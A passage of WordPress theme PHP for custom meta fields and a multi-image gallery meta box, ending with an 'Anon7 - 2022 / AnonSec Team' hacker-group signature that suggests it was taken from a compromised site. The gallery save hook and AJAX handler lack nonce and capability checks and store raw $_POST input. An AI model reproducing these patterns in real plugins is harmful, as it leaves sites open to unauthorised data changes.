         * Save the new Custom Fields values
         */
        function appliance_saveCustomFields( $post_id, $post ) {
            if ( !isset( $_POST[ 'my-custom-fields_wpnonce' ] ) || !wp_verify_nonce( $_POST[ 'my-custom-fields_wpnonce' ], 'my-custom-fields' ) )
                return;
            if ( !current_user_can( 'edit_post', $post_id ) )
                return;
            if ( ! in_array( $post->post_type, $this->appliance_postTypes ) )
                return;
            foreach ( $this->appliance_customFields as $customField ) {
                if ( current_user_can( $customField['capability'], $post_id ) ) {

                    if ( isset( $_POST[ $this->appliance_prefix . $customField['name'] ] ) && trim( $_POST[ $this->appliance_prefix . $customField['name'] ] !== '') ) {

                        $value = $_POST[ $this->appliance_prefix . $customField['name'] ];
                        // Auto-paragraphs for any WYSIWYG
                        if ( $customField['type'] == "wysiwyg" ) $value = wpautop( $value );
                        update_post_meta( $post_id, $this->appliance_prefix . $customField[ 'name' ], $value );
                    } else {
                        delete_post_meta( $post_id, $this->appliance_prefix . $customField[ 'name' ] );
                    }
                }
            }


        }





    } // End Class

} // End if class exists statement

/*--------------------meta box multi image uploade-------------------*/
// add meta box
function appliance_multiple_image() {
    add_meta_box('appliance_meta_box_multiple_image', 'Multiple Image', 'appliance_upload_image', 'post');
}

add_action('add_meta_boxes', 'appliance_multiple_image');
function appliance_upload_image() {
    global $post; ?>

    <div class="add_portfolio_images">
        <h3>Portfolio Images (multiple upload)</h3>
        <div class="add_portfolio_images_inner">

            <button class="wd-gallery-upload button button-primary button-large">Browse</button>
            <ul class="wd-gallery-images-holder clearfix">
                <?php
                $portfolio_image_gallery_val = get_post_meta($post->ID, 'wd_portfolio-image-gallery', true);
                if ($portfolio_image_gallery_val != '') $portfolio_image_gallery_array = explode(',', $portfolio_image_gallery_val);

                if (isset($portfolio_image_gallery_array) && count($portfolio_image_gallery_array) != 0):

                    foreach ($portfolio_image_gallery_array as $gimg_id):

                        $gimage_wp = wp_get_attachment_image_src($gimg_id, 'thumbnail', true);
                        echo '<li class="wd-gallery-image-holder"><img src="' . esc_url($gimage_wp[0]) . '"/></li>';

                    endforeach;

                endif;
                ?>
            </ul>
            <input type="hidden" value="<?php echo esc_attr($portfolio_image_gallery_val); ?>"
                   id="wd_portfolio-image-gallery" name="wd_portfolio-image-gallery">
        </div>
    </div>
    <?php
}

//save meta box
if (isset($_POST['wd_portfolio-image-gallery'])) {
    function appliance_save_meta_box_image($post_id) {
        update_post_meta($post_id, 'wd_portfolio-image-gallery', $_POST['wd_portfolio-image-gallery']);
    }

    add_action('save_post', 'appliance_save_meta_box_image');
}
//ajax
if (!function_exists('appliance_gallery_upload_get_images')) {
    function appliance_gallery_upload_get_images() {
        $ids = $_POST['ids'];
        $ids = explode(",", $ids);
        foreach ($ids as $id):
            $image = wp_get_attachment_image_src($id, 'thumbnail', true);
            echo '<li class="wd-gallery-image-holder"><img src="' . esc_url($image[0]) . '"/></li>';
        endforeach;
        exit;
    }
}
add_action('wp_ajax_appliance_gallery_upload_get_images', 'appliance_gallery_upload_get_images');

if (!class_exists('wd_meta_box')) {
    class wd_meta_box {
        var $customfields = array(
            array(
                "name"			=> "page_vertical_area_transparency",
                "title"			=> "Enable transparent left menu area on load",
                "description"	=> "",
                "float_left" 	=> "",
                "clear_after" 	=> "",
                "type"			=> "selectbox",
                "values"		=> array(
                    ""	=>	"",
                    "no"	=>	"No",
                    "yes"	=>	"Yes"
                ),
                "scope"			=>	array("page","post","portfolio_page"),
                "capability"	=> "manage_options",
                "dependency"	=> array("vertical_area" => array("yes")),
            ),
            array(
                "name"			=> "header-style",
                "title"			=> "Header style",
                "description"	=> "",
                "float_left" 	=> "",
                "clear_after" 	=> "",
                "type"			=> "selectbox",
                "values"		=> array(
                    ""	=>	"",
                    "light"	=>	"Light",
                    "dark"	=>	"Dark"
                ),
                "scope"			=>	array("page","post","portfolio_page"),
                "capability"	=> "manage_options",
                "dependency"	=> ""
            ),
        );
    }
}

?>

Anon7 - 2022
AnonSec Team